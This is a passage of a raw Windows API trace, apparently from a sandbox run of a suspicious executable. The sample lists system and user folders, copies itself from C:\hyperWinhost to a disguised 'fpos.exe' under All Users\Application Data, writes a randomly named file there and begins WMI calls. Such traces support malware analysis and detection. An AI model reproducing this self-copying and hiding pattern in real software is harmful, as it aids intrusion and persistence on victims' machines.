hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0084.377] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0084.378] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0084.378] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.378] FindClose (in: hFindFile=0x1bfbec90 | out: hFindFile=0x1bfbec90) returned 1 [0084.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0084.378] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0084.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0084.378] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0084.379] FindFirstFileW (in: lpFileName="C:\\Users\\*" (normalized: "c:\\users\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbec90 [0084.379] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.379] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0084.379] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0084.379] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0084.379] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0084.379] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0084.380] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0084.380] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.380] FindClose (in: hFindFile=0x1bfbec90 | out: hFindFile=0x1bfbec90) returned 1 [0084.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0084.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0084.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0084.380] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0084.381] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*" (normalized: "c:\\users\\all users\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bfbec90 [0084.382] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.382] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0084.382] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0084.382] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0084.382] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0084.382] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9152f250, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x9152f250, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe2f19400, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x6494dd50, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x6494dd50, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~3")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8a7c4d0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8a7c4d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8a7c4d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3e07f080, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x3e07f080, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x3e07f080, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x75fdb330, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0xb3a789d0, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0xb3a789d0, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41b67910, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0084.383] FindNextFileW (in: hFindFile=0x1bfbec90, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.384] FindClose (in: hFindFile=0x1bfbec90 | out: hFindFile=0x1bfbec90) returned 1 [0084.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0084.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0084.384] GetFullPathNameW (in: lpFileName="C:\\hyperWinhost\\blockcontainerProvider.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\hyperWinhost\\blockcontainerProvider.exe", lpFilePart=0x0) returned 0x2a [0084.384] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\fpos.exe", nBufferLength=0x105, lpBuffer=0x1b2fd980, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\fpos.exe", lpFilePart=0x0) returned 0x2c [0084.384] CopyFileW (lpExistingFileName="C:\\hyperWinhost\\blockcontainerProvider.exe" (normalized: "c:\\hyperwinhost\\blockcontainerprovider.exe"), lpNewFileName="C:\\Users\\All Users\\Application Data\\fpos.exe" (normalized: "c:\\users\\all users\\application data\\fpos.exe"), bFailIfExists=0) returned 1 [0084.573] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\2cfdd657e33eed", nBufferLength=0x105, lpBuffer=0x1b2fd760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\2cfdd657e33eed", lpFilePart=0x0) returned 0x32 [0084.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fdc78) returned 1 [0084.573] CreateFileW (lpFileName="C:\\Users\\All Users\\Application Data\\2cfdd657e33eed" (normalized: "c:\\users\\all users\\application data\\2cfdd657e33eed"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x29c [0084.574] GetFileType (hFile=0x29c) returned 0x1 [0084.574] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdbe8) returned 1 [0084.574] GetFileType (hFile=0x29c) returned 0x1 [0084.574] WriteFile (in: hFile=0x29c, lpBuffer=0x2946138*, nNumberOfBytesToWrite=0x2c9, lpNumberOfBytesWritten=0x1b2fdcb8, lpOverlapped=0x0 | out: lpBuffer=0x2946138*, lpNumberOfBytesWritten=0x1b2fdcb8*=0x2c9, lpOverlapped=0x0) returned 1 [0084.578] CloseHandle (hObject=0x29c) returned 1 [0084.580] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0084.580] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0084.580] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0084.580] IUnknown:Release (This=0x111f638) returned 0x1 [0084.582] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf77590) returned 0x0 [0084.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf77590, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0084.583] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf77590, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c0303b0) returned 0x0 [0084.583] WbemDefPath:IUnknown:Release (This=0x1bf77590) returned 0x0 